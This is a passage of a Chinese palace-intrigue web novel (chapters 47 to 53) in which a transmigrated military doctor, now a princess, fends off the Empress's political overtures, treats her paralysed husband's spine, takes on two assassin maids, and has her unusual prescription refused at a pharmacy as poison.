“那翊王妃意下如何呢?”皇后追问道,指尖轻叩凤椅扶手,发出细微而规律的声响。 沈听晚略作犹豫,眉宇间浮起为难之色:“臣妇自当尽力劝说父亲,只是……” 皇后眉头骤然紧锁,眼中闪过一丝不悦:“翊王妃是还有什么顾虑?” 沈听晚深吸一口气,声音轻柔却带着细微的颤抖:“皇后娘娘明鉴,臣妇曾与太子殿下有过不愉快,臣妇唯恐太子心存芥蒂,待他日登基,若生报复之心,臣妇……”她垂下眼帘,嗓音渐低如蚊蚋,“恐连连自保都难。” “王妃大可宽心,”皇后扬声承诺,唇角微扬,“本宫可以向王妃保证,若太子敢对王妃不利,本宫必当护王妃周全。” 她心底却暗自冷笑:她护着是一回事,太子到时候肯不肯听话,那可是另外一回事儿了! 如今太子需要沈家兵权,她自是会处处迁就着沈听晚,可待太子坐稳龙椅,她们母子二人便是全天下最尊贵的,到那时候,自然是要新仇旧恨一并清算的! 沈听晚再深吸一口气,仿佛下定决心般抬眸:“有皇后娘娘这话,臣妇再无畏惧了。 臣妇归府后定当竭力劝说父亲与兄长,只是……”她复又垂首,面露难色,“父亲与兄长是否应允,臣妇恐怕无法保证。” 此言一出,皇后脸上顿时绽开笑意,如春花绽放:“有王妃出马,自是不会失败,将军素来疼爱王妃,岂会坐视王妃为王爷殉葬?” 沈听晚又在坤宁宫内坐了好一会儿。因着皇后的目的已经达成了,心下顿时也是欢喜的不行,拉着沈听晚说了好一会儿的话,才笑着放她出宫去。 出了坤宁宫的沈听晚,沿着青石小径缓步而行,阳光透过朱红宫墙洒在沈听晚的身上。 她一路上沉思着,垂头面无表情。 今天皇后的意图再明显不过,那就是要通过她来拉拢沈家作为太子阵营里的武将。 不得不说,皇后这个做母亲的,确实是煞费苦心啊! 这让她突然想起原书中的一段,皇后为了太子能够稳固地位,可谓是格外操劳的很。 不光拉拢了沈家作为武将,还有丞相府叶家,若不是如此,当初皇后也不可能在太子向皇帝请罪时,极力劝服皇帝,让叶雪初成为太子侧妃。 只不过,原书中,太子登基之后,皇后所拉拢的这几家,最后的结局似乎都不是太好呢…… “见过宇世子。” 沈听晚正沉思之际,便听到身后芳嬷嬷恭敬问安的嗓音响起,将她从思绪中拉回。 沈听晚回神,怔愣一瞬,一张俊朗带着温润如玉的脸庞便猝不及防地映入眼帘。 君宁宇一身白衣,薄而温润的唇勾起一抹淡笑:“侄儿见过皇婶。” “你认得我?”沈听晚微蹙秀眉,声音里透出一丝警惕。 君宁宇嘴角含笑,目光如水般温和 :“那日在东宫侄儿曾有幸见过皇婶一面,只是当时侄儿在偏处,皇婶应该并未留意。” 沈听晚恍然,随即朝着君宁宇点点头,声音平静却疏离:“那日失仪,倒是叫世子见笑了。” “岂敢,”君宁宇轻笑摇头,眼底掠过欣赏之色:“侄儿从未见过如皇婶这般坚韧的女子。当日若皇婶忍辱屈从,嫁给太子的话,恐怕才令人惋惜啊。” 沈听晚轻挑着眉,抬眼仔细打量了一下眼前的君宁宇。 这就是书上曾为太子伴读,最后只差一点点就颠覆皇朝的衡亲王世子君宁宇。 看上去是一个温润如玉的翩翩公子,实则满腹权谋野心,只可惜差了一点点运气,不然的话,来日东陵的帝位就应该是他的了。 沈听晚的直觉告诉她,想要活得久,就应该离这个人远一点。 想到这里,沈听晚也不打算再多说,客气地开口:“宇世子想必是要见陛下的,那本王妃便不打扰了,先告辞。” “皇婶慢走。”君宁宇依旧态度谦卑地道,只是在沈听晚走远之后,脸上的温润笑意霎时消失,如同春日骤然转寒。他凝视着沈听晚消失的方向,薄唇微勾起一抹冷意:“皇后娘娘可比我要心急啊……” “世子,您说什么?”随从疑惑地问道。 君宁宇收回视线,淡声开口:“没什么,先去见陛下吧。” 说着,便迈步从容地朝着御书房的方向而去,一身白衣飘飘,背影挺拔如松。 沈听晚回翊王府的路上,脑海中还不断想着方才见到的君宁宇。 一个原本所有人都没有过多关注过的世子,却能在成为太子伴读后短短几年内平步青云,最盛之时,甚至被皇帝封为亲王,掌摄政之权 沈听晚想,要不是书中皇帝突然驾崩,还未来得及将君宁宇过继皇室,他估计也不可能就成为君宁玄的剑下亡魂了。 想到这里,沈听晚不禁叹息一声,她穿到这书中,似乎知道所有人的命运,可是她却不能改变所有人的人生。 她不过是一个人,能够保全沈家,医治好君翊,就已经让她力不从心。如果所有人的命运她都要插手,岂不是要累死她? 第48章 她可没有圣母心 更何况,她可没有什么圣母心! 想明白这些,沈听晚也不再纠结。所有人都有自己的道路要走,她既然无法做什么,那就只当做什么都不知道,做个糊涂人,会轻松太多。 回到王府时,天色已近黄昏, 沈听晚走到房门口,目光便看到卧在床上的君翊神色呆滞,面容异常,整个人仿佛被抽走了魂魄一般。 “你怎么了?是不是哪里不舒服?”沈听晚神色一紧,心猛地揪成一团,来不及多想便一个箭步冲过去,声音中满是焦急。 君翊有些呆愣愣地转过头,紧抿着唇,眼眶泛红,一张惨白的脸紧绷着,却迟迟不言。 沈听晚眉头紧蹙,眼底透着难以掩饰的焦急与担忧:“到底怎么了?你说话呀。”情急之下,她一把抓住君翊的手腕,轻轻晃动,声音有些发颤,“看着我,告诉我发生了什么?” 君翊似乎刚从恍惚中回神,转眼怔怔地注视着沈听晚,喉节微微滚动两下,有些艰难的吞咽着,许久,略微沙哑的嗓音才缓缓响起:“本王……本王的身体好像有感觉了?” 一早上醒来的时候,君翊便感觉到自己的身体有些沉甸甸的,和平日里的感觉有些不大一样,他下意识想要抬手,不成想,那只原本毫无知觉的手,竟然真的抬起来了! 天知道,这一年多的时间对君翊来说是有多磨煎熬,当重新看见自己的手重新在眼前挥舞起来的那一瞬,君翊心里是有多么激动! 激动过后,他满怀希望地想要起身来,可惜却让他失望了,因为整个身体,似乎除了手以外,其他部位依然仿佛被千斤重担压着,无法动弹分毫。 有那么一刻君翊甚至都觉得自己像是入了一场梦当中还没有醒过来一般,他忐忑的抬手在自己的大腿上用力一掐。 是痛的! 那种清晰而又真切的痛感,如同电流般传遍全身,明确无误地告诉君翊,他不是在做梦,他真的恢复知觉了,而且他的手可以动了! 那一瞬,君翊再也无法隐忍自己的任何情绪,他继续找一个人诉说,他的身体已经好了! 可惜,那个他想要情愫的人却不在屋内。 沈听晚感受到君翊的情绪过于激动,轻轻扯了扯唇角,语气柔和却带着几分不忍:“那个,你别太激动,你现在恢复知觉是正常现象,但并不意味着你已经彻底痊愈了。” 君翊转头直直的盯着沈听晚,眼中似闪过一丝迷茫之色。 怎么就不算彻底好了呢?他现在恢复了知觉,只要好好修养几日,不久应该就能站起来了吧? 沈听晚实在是有些不忍心说破真相,但又深知有些事情也必须要告诉君翊才行。 想到君翊的心理素质比寻常人要强大许多,才深吸一口气,硬着头皮道:“恢复知觉是因为我把你的经络打通了,但你脊柱受过伤,还记得吧?” 君翊沉默不语,眼神黯淡下来,呆愣愣地点了点头。 “是啊,你的脊柱受了重伤,而且已经愈合长好了,所以即便你恢复了知觉,也没办法起身行走,目前只有两条胳膊能动,其他地方只不过是重新有了知觉而已。” 听见这话,君翊只觉得脑中嗡地一下,方才所有的震惊与惊喜,此刻如同被一盆冷水浇下,瞬间化为乌有。 “抱歉啊,我不该说的这么直接,但你的身体会好起来的,就是还得需要经过一段最关键的治疗……” 沈听晚抿了抿唇,眼底闪过一抹歉意与心疼。 君翊脸上的笑意瞬间消失,他垂下眸子,努力掩饰住眼底翻涌的失望:“是你先前说的,需要打碎脊柱重新接合,对吗?” 沈听晚点点头,神情严肃:“对,现在你的脊柱愈合时长歪了,而且压迫了经络,必须敲断重新接合才能长好,只不过……这样做风险很大,至今没有成功的先例。” 至少,在君翊以前,沈听晚从未做过这种类似的手术。 “那如果最后失败了呢?”君翊的嗓音响起,低沉而又沙哑,仿佛每一个字都带着千斤重。 沈听晚深吸一口气:“果失败……最好的结果就是和现在一样,有知觉但依然无法起身,最坏的……”她顿了一下,舔了一下有些干燥的唇:“可能……王爷的性命不保。” 君翊深吸了一口气,缓缓闭上双眼,努力克制着自己:“你有几成把握?” 听到君翊的话,沈听晚一时之间竟有些不知道如何回答了。 几成的把握? 沈听晚从未做过这样的手术,不可能说有十足十的把握一定能治好。 只能说,沈听晚足够相信自己的针法,有一定把握能够成功。 但这要怎么和君翊说呢? “君翊。”沈听晚犹豫片刻,终于开口:“我只能说,治好与治不好的几率,对你而言都是零。” 君翊缓缓睁开眼睛,不语,就那么静静地、深深地盯着沈听晚,仿佛要看穿她的内心。 “治好了,那失败的几率就是零,若是治不好,成功的几率也是零。” 听着沈听晚这番话,君翊苦笑着摇了摇头:“你这算什么答案?” 沈听晚撇了撇嘴,随即正色看向君翊:“我说的是事实,君翊,我无法给你保证有几成几率能治好,只能说我们两个都必须要放手一搏。” 君翊要是死了,那她估计也活不成了。 君翊转眼紧紧的盯着沈听晚,眸光微动,半晌,喉咙处缓缓滚动发出低沉带着几分轻颤的声音:“好,听你的。” 他现在也没有别的选择,总归最糟糕的结果不过是一死,与其像现在这样做一个毫无用处的废物,不如搏上一搏。 说不定,沈听晚真的会给他带来另外一个奇迹。 沈听晚狠狠松了口气,紧绷的肩膀终于放松下来,随即坐到床边,脸上露出一丝欣慰的笑容:“不过你能这么快恢复知觉,比我想象的要快许多,倒也算是一件好事,这也证明,我们前些天的治疗很有成效!” 第49章 和那些人讲什么信用 “嗯。”情绪逐渐平复下来的君翊,又重新恢复了往日的沉稳与冷静,眉宇间那一抹阴郁也渐渐散去。 “你现在最要紧的就是情绪不要过于激动,更不能再擅动内力,若是心脉再受损的话,我们所做的一切都白费了,你明白吗?”沈听晚又不放心地叮嘱道。 她必须要告诉君翊事情的严重性,倘若再有一次,她也不敢再保证能不能救得好君翊了。 君翊点点头,声音虽轻但却坚定:“好。” 沈听晚嘴角勾起一抹放心的笑:“那我先给你弄些吃的,吃完开始给你施针。” “方才皇后召你进宫了?” 正准备起身的沈听晚,突然间听到床上男人传来的声音,微顿住一瞬。 “嗯。”随即淡淡点了点头。 “她为难你了吗?”君翊又继续问道,只不过此时,君翊的声音又恢复了平静地开口。 沈听晚眼底闪过一丝冷冽的讽刺,唇角微扬:“为难倒没有,她不过是想要拉拢我,让我说服我父亲加入太子阵营。” 君翊的眸色骤然沉了沉,眼底划过一道凛冽的杀意:“皇后还真是够有野心的啊。” 沈听晚轻挑着眉,语气间带着几分讥诮。 “也能理解,毕竟她的太子地位坐的可不太稳当,很快就要被人给抢走了嘛。” 毕竟替君宁玄拉拢人心,是皇后惯用的手段了。 君翊目光如炬,紧盯着沈听晚。 “那你……答应了” “答应,为什么不答应啊!”沈听晚眨了眨眼,想也不想地答道,不过很快,嘴角便勾起一抹冷意:“只不过答应是一回事儿,如何做那可就是另外一回事了。” 她可没有蠢到,会真心实意地帮着原书中亲手将沈家与原主送上绝路的仇人。 君翊有些意外地挑了挑眉,眼中闪过一丝探究。 “这么说,王妃是想要言而无信?” “呵!”沈听晚翻了个白眼:“对那种人谈什么信用?我要是真帮她,沈家才是真的要完了。” “不过有件事儿我还真没想到,”沈听晚的眸色微垂,眼中闪过一丝寒意,“太后那个老太婆竟然还打着让我给你陪葬的主意呢。” “陪葬?”君翊的眸光骤然一凝,声线也紧绷了几分,手指不自觉地握紧了床沿。 “是啊,”沈听晚语气平静得近乎冷酷,“她就是拿这件事来作为交换条件,说只要沈家助太子顺利登基,她就会向皇帝说情,等你死了,让我免去陪葬。” “条件倒是挺诱人的,不过她不知道的是,我来了,你就不可能会死。”沈听晚的目光微闪了闪,平静的语气间带着一抹自信地开口。 君翊既然死不了,那又何来的陪葬一说呢。 君翊晦暗的眸闪烁着一抹光亮,微勾起唇角:“是啊,你来了,本王确实死不了。” 此时,沈听晚正沉浸在自己的思绪当中,丝毫没有察觉到君翊脸上的那一抹似乎已经洞察出一切的了然。 “哦,对了,路上我碰见了那个宇世子。” 君翊眉头骤然紧蹙:“那个人你不要靠近。” “我知道,他这个人很危险嘛!”沈听晚不以为意地耸了耸肩。 “你知道?” 沈听晚眨了眨眼,微扬了扬头:“能受太后看重成为太子伴读,而且还能认杀父仇人做父,这般能容忍的气度,可不是寻常人能做到的吧。” 原书中,君宁宇的父王就是在九子夺嫡当中被皇帝亲手杀死的。 皇帝作为君宁宇的叔父又算是杀父仇人,他却能淡然处之,而且甘愿从小小的东宫伴读做起,就这份毅力,也很难不成大器。 当然了,沈听晚没告诉君翊的是,她料定君宁宇是个不简单的人物,是她早就知道君宁宇为了登上皇位为父报仇,究竟做了多少不折手段的事。 “嗯,你知道就好,总之,往后离这个人远远的便好。” 见沈听晚一副自信的模样,君翊算是知道他白担心了。 他虽然不知道沈听晚究竟是从哪方面看出来君宁宇不简单的,但就凭小姑娘能亲口说出此人危险,就断然不会轻易被君宁宇所利用了。 “昨天和你说的武婢,暗蒙办妥了,人就在门外,你要不要现在就看看?”君翊抬眼看向沈听晚。 沈听晚的身形一僵:“这……这么快的吗?” 君翊嘴角含着一抹笑:“不过是从暗卫里挑选出两个人来,能有多慢?” 见着沈听晚满脸不情愿的表情,君翊强忍住笑意,似乎已经看穿了她的心思:“莫非王妃不喜欢?觉得是本王派她们监督王妃的?这点王妃大可放心,人既然给你了,那从今往后便是你的人了,本王无权命令她们行事。” “当真?”沈听晚转眼看向君翊问道。 “自然。” “那如果我要让她们杀人的话,她们也会听话照做?”沈听晚又试探地问道,眼中闪过一丝锐利。 君翊勾唇浅笑,目光深邃:“王妃想要杀的人,定是该死之人,她们自然会照做。” “那如果我滥杀无辜呢?”沈听晚又继续逼问,语气中带着几分挑衅。 “你不会。” 君翊斩钉截铁地回答道,眼中满是笃定。 沈听晚撇了撇嘴,这家伙哪来的自信。还真以为她是什么心善之人啊? 她在现代名义上是军医,背地里做的可都是杀人的买卖呢。 “见,还是不见?”君翊紧盯着沈听晚的眼睛问道。 “既然人都来了,哪有不见的道理。”沈听晚无奈地开口,人都安排到了,再来问她见不见这种废话! 君翊轻挑起眉:“暗蒙。”一声清冷的召唤,暗蒙从门外推门走进来,身后还跟着两个看上去十来岁的小姑娘。 “属下见过王爷,王妃。” “奴婢见过王爷,王妃。” 沈听晚抬眼细细打量过去,两个小丫鬟长相都算周正,一个稍显稚嫩,看上去岁数小些,一双灵动的大眼睛中透着几分天真;另一个应该是姐姐,眉目间却带着一股拒人千里之外的高冷,完全是两种截然不同的类型。 第50章 王爷好啰嗦 沈听晚不禁挑眉,还真是和她看过所有古言一样,女主身边都是有两个性格截然不同的丫鬟啊! “你们都叫什么名字?”沈听晚慵懒地靠在床边,目光扫过两位身姿挺拔的女武婢,声音里带着几分漫不经心的探究。 性格活泼的小丫鬟率先开口,声音清脆地道:“回王妃娘娘,奴婢二人无名,求王妃赐名。” “没有名字?”沈听晚转过头,难以置信地看向君翊,眼中满是惊讶:“她们连名字都没有?” “她们都来自暗卫杀手营,里面受训的暗卫众多,所以只有代号并无姓名。” 沈听晚了然点了点头,随即沉思一瞬,仔细想了想,眸中光亮为闪笑着抬头看过去,抬手指了指:“你是姐姐吧,那便叫冬卉,妹妹叫春婳。” 两个丫鬟立马扣头:“奴婢冬卉/春婳,多谢王妃赐名。” “嗯。”沈听晚微微颔首,目光澄澈却带着不容置疑的威严:“王爷将你们两个安排到我身边,往后应该听谁的话,你们应该清楚吧?” 君翊垂眸轻笑,眼底掠过一丝宠溺,小姑娘这是打算要当着他的面立威了。 冬卉和春婳两人下意识抬头看了眼君翊,却又见沈听晚脸上带着的一抹若有似无的笑意忙垂头下去:“奴婢今后听王妃娘娘命令行事。” 沈听晚满意地点点头:“很好,这可是你们当着王爷的面保证的。 往后若做了错事或者不听本王妃的命令,那我可随时将你们送回给王爷处置。” “是,奴婢定对王妃娘娘忠心耿耿!” “嗯,这话本王妃记下了,从今往后,你们便隐在暗处,不必出面。若是我需要你们做事,自会唤你们出来的。" "是,奴婢遵命。" 冬卉和春婳齐声应答,言罢便起身,身形轻盈,转眼间便消失在房间中,连一丝风声都不留下。 沈听晚心里头感叹着,两个小丫鬟年纪不大,这轻功却属实不错。 夜色如墨,月光透过窗棂洒落一地银辉。 房间里,沈听晚洗漱完毕坐在床边,梳理着乌黑如漆的墨发,侧脸在月光下显得格外清丽。 “接下来我准备开始治疗你脊柱上的伤,”她转过看向君翊:“不过在此之前,我得出去一趟,去京城里最大的百草堂看看。” 君翊:“可以,让暗祁跟着你去。” 沈听晚斜睨他一眼,不以为然:“不是有春婳和冬卉在暗处跟着吗?” 更何况她只是去看看有没有对君翊身体有帮助的药材而已,又不是去闯龙潭虎穴,叫那么多人跟着做什么? 沈听晚从心里送君翊一个白眼。 怎么的,这是担心她中途跑路不成? 君翊嘴角勾起一抹笑,心下无奈。 小姑娘这是又误会他了。 “让暗祁跟着帮你拿东西。” 沈听晚摆了摆手拒绝道:“那就更不必了,我坐马车去,悄悄地不能让人发现。” 抬眼看了君翊一眼:“不能让人知道我的身份,不然传到皇宫里,我给你医治的秘密不就暴露了吗?” 现在全京城都知道君翊这个病秧子快死了,她这个时候明目张胆的出去捉药回来,不是明摆着告诉皇帝,她欺君吗。 “好,听你的。” 见着君翊答应,沈听晚这才心满意足地笑了笑,随即略过君翊,躺在了他身侧。 像是突然间想起什么般,又不满地开口:“看来府上的木匠还真是太忙了,明天出门我自己去看着买一张软榻吧。” 这一连都快小十天过去了,暗祁答应她三天做好的软榻,到现在都没个踪迹! 躺在被子里的沈听晚不满地控诉着,还不如一开始就她出去买回来呢! 着每天早上,自己整个身体都挂在君翊的身上,她不要面子的吗? 君翊转眼盯着沈听晚紧闭的双眼,紧皱的眉宇间满是不愿意,眼神幽深而又清冷,淡声开口:“明日本王叫人把软榻送来。” “软榻做好啦?”沈听晚听见这话猛地睁眼看向君翊,眼中闪过一丝惊喜。 君翊收回视线:“嗯。” 沈听晚撇了撇嘴,眼神定定望着君翊:“是不是我不问,那张软榻就永远送不来?” 君翊:“……” 好像被小姑娘发现什么了…… “明日记得路上不要多管闲事,百草堂找不到药材就尽快回来,如果遇到危险,就赶紧叫冬卉她们出来保护你。” 沈听晚翻了个白眼,明知道君翊是在转移话题,心头有些郁闷,不耐的道:“知道了,你好啰嗦!” 她还不知道这些吗,更何况,就算遇到了有人挑事儿,那也得看看,他们是不是一个现代国际全能军医特工的对手。 转身背对着君翊,重新闭上双眼,寻了个舒服的姿势,不再理会。 “睡吧。” 君翊无奈地开口,心里却抑制不住地担心。 他没有告诉沈听晚,其实即便是不让暗祁跟着,只要沈听晚一出门,暗地里就会有无数双眼睛紧盯着沈听晚。 她,根本就无法真正隐藏自己的身份出门。 现在的沈听晚,不管走到哪里,都会被人安上翊王府的标签。 不过这些话,君翊不打算告诉沈听晚,担心会吓到小姑娘。 沈听晚很快便睡了过去,君翊却躺在床边,再一次被沈听晚豪放的睡姿弄得无奈又想笑。 不同于从前,君翊的身上毫无知觉,但是今天,他却能够清晰地感受到自己身上压着来自于小姑娘的重量…… 沈听晚的睡姿真的很不安分,纤细的手臂不老实的搭在君翊的胸膛上,时不时还四处乱捏乱揉。 搞得刚恢复知觉的君翊浑身像是着了火似的。 君翊紧闭双眼,努力忽视身边人的存在,到最后……“啪!” 沈听晚白皙无骨的小手,落在君翊浸出一层细密汗迹的脸庞上。 那只手如果规规矩矩的到还能忍受。 可偏偏,它还是个不安分的,是不是会捏揉几下。 君翊抬手将胳膊抵在额头上,遮掩着闪过情动欲念的漆黑双眸,神色隐忍而又无奈。 第51章 肆无忌惮的小猫儿 又过了一会儿,沈听晚不安分的小手突然间向下移去,游走在君翊一团火热的小腹。 君翊猛地瞪圆了双眼,额头上青筋暴起,薄唇紧紧抿成一条直线,脑海里那根紧绷的弦仿佛随时都要断裂崩断。 他呼吸一滞,胸膛剧烈起伏,强压着体内翻涌的热流。 他失去知觉的那些日子里,这小姑娘一直都是这么……这么肆无忌惮地撩拨他的? 从前,君翊感受不到,只能眼睛看到沈听晚的靠近过来,把自己保住而已,可是却不知道,小姑娘的手怎么不安分啊! 他缓缓转过头,眼底闪过一丝隐忍的火气,却见沈听晚睡得香甜,时不时嘴角还勾起一抹淡淡的笑意。 君翊:"……" 这副笑小猫儿一副慵懒娇憨的模样,让他怎么忍心把人叫醒? 君翊深吸一口气,喉结缓缓滚动,莫名感觉喉咙干涩发紧,极力隐忍着内心翻涌的情绪。 他默默抬手,一把抓住沈听晚在他身上胡乱游走的小手,紧紧攥住放在自己胸前,随即闭上双眼。 睡觉! 看来明天,必须让暗祁把软榻搬进来了! 再这样下去,君翊真不敢保证,待他伤好之后,会不会失控做些什么了! 他摊开手臂将沈听晚牢牢圈在怀中,一只手遏制住小姑娘不安分的手腕,鼻腔间涌入她身上独有的清香,混合着草药的微苦气息,不知过了多久,才在纷乱的思绪中寻得一丝困意。 翌日一大早。 沈听晚给君翊做好药膳,自己用了早膳后,便换上一件看上去不显眼的长裙,还叫人拿进来了白纱斗笠。 君翊侧目看着忙碌准备出门的沈听晚,声音温和地叮嘱道:“百草堂离城门不远,路途颠簸,让车夫在马车上多加一张软垫。” 这来回将近两个时辰的路程,君翊实在担心沈听晚的身子受不住。 “好。” 沈听晚背对着君翊,将白纱斗笠轻轻戴在头上,转过身来,双手叉腰,俏皮地问道:“怎么样,现在还能认出我是谁吗?” 君翊淡淡浅笑,眸中闪过一丝无奈,缓缓摇头:“看不出。” 沈听晚这才心满意足地笑着,又忍住开口叮嘱道: “厨房里炖着人参乌鸡汤,我让秋月看着呢,炖到中午差不多就可以了,到时候让暗祁他们端进来喂你喝。” “还有厨房里有我提前包好的小馄饨,馅料里面有对你身体有帮助的草药,让人煮了给你端过来。” 话说到一半,沈听晚又一脸严肃地抬手掀开面纱,直直盯着君翊:“除了我亲手做的这些,你不能吃任何别的东西,还有,记得你答应过我什么?” 君翊见着眼前小姑娘的叮嘱,心里无奈,更多的却是一阵暖意袭来。 自打他上一次擅自动用内力,好像真把人给吓着了。 看着小姑娘年纪不大,可这张小嘴儿啊,简直唠叨得停不下来。 君翊躺在床上,脸上没有半点不耐烦的神色,低笑一声,声音略带宠溺:“知道了,放心,答应过你的事,不会再犯。” “那就好。”听到君翊的保证,沈听晚才松了口:“那我走了啊。” “好,路上注意安全。” “嗯呐。” 沈听晚回的漫不经心,此时满脑子都想着等下出门去百草堂的事儿。 她走出王府,便见门外车夫早已经套好了马车,恭恭敬敬站在边上。 在看到沈听晚之后,车夫立马恭敬行礼:“奴才见过王妃娘娘,请王妃上马车。” …… 马车驶到离百草堂还差一条街的距离,沈听晚开口让车夫将马车停在一处偏僻的小巷里。 车夫一脸不解的道:“王妃娘娘,百草堂还没到……” 沈听晚:“就停在这里吧。” 王府的马车太显眼了,如果真在百草堂门口下马车,岂不是让所有人都知道,她和翊王府有关系了? 沈听晚轻巧地跳下马车,整理了一下头上的白纱斗笠,对车夫道:“你就在此处等我便好。” 说着,她便转身迈步,朝着百草堂的方向走去。 百草堂的确离城门不远,但这街头的百姓却不见稀少,反而透着一股浓郁的人间烟火气息。 一条不算宽敞的道路,来来往往的百姓步履匆匆,还有几个孩子在街角嬉戏玩闹,只不过看到一个头上带着白纱斗笠的女子,不禁纷纷缓下脚步转头多看上两眼。 沈听晚一路走着,越往百草堂的方向走去,人便越少些。 百草堂里面很是宽敞明亮,小二楼的布局,中央是一片开阔的空地,三面墙上排列着整整齐齐的红棕色小抽屉,每个抽屉上都贴着药材的名称。 抬头望去,二楼同样如此,层层叠叠的抽屉散发出一股浓浓的药香味儿来。 见到眼前这一幕,沈听晚心中不禁暗自赞叹,果然是书里头所写东陵最大的百草堂。 无论是药材的数量还是种类,无不齐全,让人叹为观止! 百草堂的药童很快便注意到沈听晚的身影,忙不迭走上前来,语气恭敬带着客气地问道:“这位姑娘,可是来抓药的?请把药方交给小的,小的帮您取来。” 沈听晚转身看过去,透过面纱,隐约看到眼前年纪不大的药童,缓声开口:“不必,我自己看看便好。” 她要给君翊开的药种类很多,而且很杂,而且药方史无前有,她是担心把药方交给药童,会惹上不必要的麻烦。 药童讪讪一笑:“那姑娘请便吧。” 走远后,他忍不住回头,古怪的眼神朝着沈听晚的方向打量过去。 这女子真是好生奇怪。 自己抓药?难不成她懂医术? 就算是懂医术,这百草堂这么多种类的草药,不拿出来药方,难不成还要自己一味一味的去找? 药童心里头暗自嘀咕着,嘴角撇了撇。 这是担心他们会盗药方吗?真是笑话! 想到这里,药童也不再理会,接着去接待再一次进门的客人。 而沈听晚则是在百草堂里,一路走走停停,一味一味的看着墙上抽屉最下角的标签,神情专注而又认真。 第52章 百草堂不卖杀人的毒药! 时间一点点流逝,沈听晚没找到多少方子上的药材,但却不见半分着急之色,依旧不紧不慢地打开每个抽屉细细查看。 药童这边已经给连续五六个客人抓了药,转眼不经意看到不远处那一抹白,不禁冷笑的摇了摇头。 药童这边已为一连给五六位客人抓好了药,不经意间抬眼朝着沈听晚的方向望过去,不禁摇头讽刺一笑,眼中流露出几分不屑。 这百草堂内的草药虽不敢说上万味药材,却也有上千了,如果真的要像沈听晚这般细细查看,别说一日,便是连续五日不眠不休,怕是都看不完呢! 而看着沈听晚,将近一个时辰过去了,手中木匣内却仍不见一株草药。 不过这姑娘看的速度倒不是一般的快 ,短短片刻,便已经将一面墙的药材尽数看过,正准备向第二面墙走去。 药童有些按捺不住,缓步上前,略带无奈地劝道:“这位姑娘,您若需要什么药草,不妨告知小的,小的自会为您取来,何必劳烦您一味一味地亲自寻找呢?” 百草堂里上千种草药,位置在哪里,数量还有多少,都在他们药童的脑袋里记着呢,压根就不用沈听晚这么费劲儿。 然而,沈听晚却再次拒绝道:“不必。” 药童忍不住上下打量了沈听晚两眼,心中暗自讥讽:这姑娘还真是古怪又执拗得很。 自己去看吧。 估计天黑了都找不出来几味药材来! 一连吃了两次闭门羹的药童心里也升起一股恼火,他冷冷地瞥了沈听晚一眼,便不再多言,转身离去。 他倒要看看,到最后这姑娘究竟能找到几味药材! 而沈听晚对药童心思却浑然不觉,依旧耐心的快速看着墙上的药材,不见有半点分神。 其实她此次来的目的不光是要给君翊来抓药的,方子早就在她脑子里记着呢,写出来直接叫人来抓就是,压根就不必这么麻烦。 她真正的目的是想要看看,这百草堂的草药成色究竟如何而已。 而在整个京城之中,唯有这开在城门脚下的百草堂,药材种类最为繁多,品质也是最好的。 快速巡视完三面墙的所有药材后,沈听晚轻撩裙摆,缓步向二楼走去。 整整一个上午的时光,她将百草堂内所有药材尽数看过,心中也大概对百草堂中的药材有了了解。 也不得不感叹一句,在这个纸片人世界当中,药材真的不是一般齐全,而且品质和年份也都不错。 想到这里,沈听晚嘴角勾起一抹满意的笑,眸中光亮微闪。 看来她到时候如果准备在京城开一间医馆,这百草堂倒是可以成为长期合作的药材供给。 走下二楼,沈听晚抬手向药童示意。药童虽然一直忙着自己的事儿,但却时不时暗中关注着沈听晚的一举一动,只等着看她最后抓不到药材空手而归的窘迫。 见沈听晚招呼自己,药童脸上浮现出一抹讥讽的笑容。 看吧,白白浪费了这么长时间,到最后还不是得需要他来帮忙抓药? 早知道如此,当初就该听劝,直接把药方交给他,又何必白白浪费这么长时间呢! 心里虽然这样想着,但药童还是迅速走到沈听晚身边,恭敬地问道:“姑娘可是有何吩咐?” 沈听晚从容地从怀中取出药方递过去,语气平静:“按此方抓药,劳烦了。” 药童瞥了一眼,更是觉得讽刺。 “好,姑娘稍等片刻。”药童接过药方,大概扫了一眼,便快步走向其中一面药墙,动作娴熟地抓起药材来。 不到一刻钟的功夫,沈听晚药方上所列的全部药材,已被药童尽数找到,整齐地装入木匣里头。 沈听晚在一旁静静观察着。药童一手持药方,一手捧着装满草药的木匣子,大步走到沈听晚面前:“姑娘,这是您所需的全部草药,小的带您去请坐堂大夫过目,确认无误后姑娘就可以带走了。” 沈听晚微微点了点头,随即跟随药童向坐堂大夫走去。 药童将药方与草药一并呈上,坐堂大夫接过看了两眼,两道略显花白的眉头顿时紧蹙,沉声问道:“这是谁开的方子?” 药童一顿,随即移目看向沈听晚。 “是我。” 沈听晚上前一步,淡淡开口说道。 坐堂大夫眼底闪过一丝不悦:“这位姑娘,你会开方子吗?” 沈听晚闻言,不禁笑了,嘴角勾起一抹玩味的弧度:“可是我这方子有什么问题吗?” 坐堂大夫脸上顿时升起一股怒气:“这哪里是什么药方,分明是杀人的毒药!”说着,坐堂大夫将药方重重摔在桌上,冷声道:"姑娘见谅,这些药材你不能带走!” 沈听晚拧起眉头:“为何?” “这是百草堂的规矩,绝不会卖毒药给任何人,姑娘这方子基本每一味药材都是相克的,真把药卖给了你,万一把人吃坏了,百草堂可担不起这个责任!” 坐堂大夫心中更为恼怒,转头狠狠瞪了药童一眼,沉声喝道:“平日里教你的规矩,都教到狗脑袋里去了不成?光会抓药了,却连药方都不会辨识,要不是我看过一遍,你把这药抓出去,吃死了人,咱百草堂以后的生意就不用做了! 今天晚膳你也别用了,去把百草册集给我抄一百遍!” 坐堂大夫恨铁不成钢地道,药童的脸色也瞬间变得惨白,立马低头:“师傅……徒儿错了。” “哼!”坐诊大夫冷冷的瞪过去一眼:“还不叫把这要人命的方子丢掉!” “是……”药童立马将方子拿起来,转头看向沈听晚的脸色算不上太好,眼底闪过一丝幽怨:“姑娘,您早说这方子不是用来救人的,小的就不给你抓了啊。” 害得他平白无故被自己师傅训斥一顿,甚至连晚饭都没法吃了。 “您还是拿着方子快点走吧,百草堂抓不来药给你。” 见着药童把方子又送还到自己面前,沈听晚的心里头也生起一股恼火来。 第53章 那可是神医弟子啊 她这方子,怎么就不是拿来救人的了? 怎么在这大夫眼里就成了杀人的毒药了?! “这百草堂真是好生奇怪,”沈听晚柳眉微蹙,白皙的手紧攥着药方,声音清冷质问道:“我既拿了方子过来,你们照方抓药便是,还管它是救人还是杀人的吗?” 坐堂大夫睨了沈听晚一眼,语气算不上和善的开口:“姑娘见谅,百草堂向来以治病救人为己任,做的也是救人命的买卖,从不对外卖绝命毒药!” 